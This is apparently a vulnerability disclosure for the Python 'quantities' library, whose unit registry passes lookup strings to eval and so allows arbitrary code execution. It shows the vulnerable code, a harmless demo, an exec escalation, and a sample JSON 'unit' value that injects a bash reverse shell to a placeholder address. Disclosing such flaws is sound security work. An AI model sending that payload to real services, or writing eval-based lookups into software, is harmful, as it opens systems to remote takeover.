Description
registry.UnitRegistry.__Registry
uses eval
to lookup items.
def __getitem__(self, string):
try:
return eval(string, self.__context)
except NameError:
# could return self['UnitQuantity'](string)
raise LookupError(
'Unable to parse units: "%s"' % string
)
This is inherently unsafe, as it allows execution of any string passed to the __getitem__
method.
In addition to making debugging a nightmare (i.e. passing a string like "Amp: ", which could be the result of an erroneous split string, will result in a SyntaxError
instead of a more descriptive lookup error), it allows execution of arbitrary code.
Demonstration
>>>from quantities.registry import unit_registry
>>>unit_registry["print('Hello there.')"]
Hello there.
Exploit Example
Imagine a web server receiving sensor data using JSON with a scheme like
{
"sensor": "sensor2b",
"timestamp": 104289123,
"value": 14,
"unit": "mA"
}
Which is then processed by pq.Quantity(data["value"], data["unit"])
. A malicious actor could use the "unit" field of that JSON to execute arbitrary code. For example, "unit":"__import__('os').system('bash -i >& /dev/tcp/[ip]/[port] 0>&1'"
could be used to spawn a reverse shell to the provided address.
Escalation
While eval
only allows evaluation of single statements, it can be used with a wrapped exec
which allows execution of arbitrary Python code:
>>>from quantities.registry import unit_registry
>>>unit_registry["exec(\"print('Hello there.')\\nprint('General Wasabi!')\")"]
Hello there.
General Wasabi!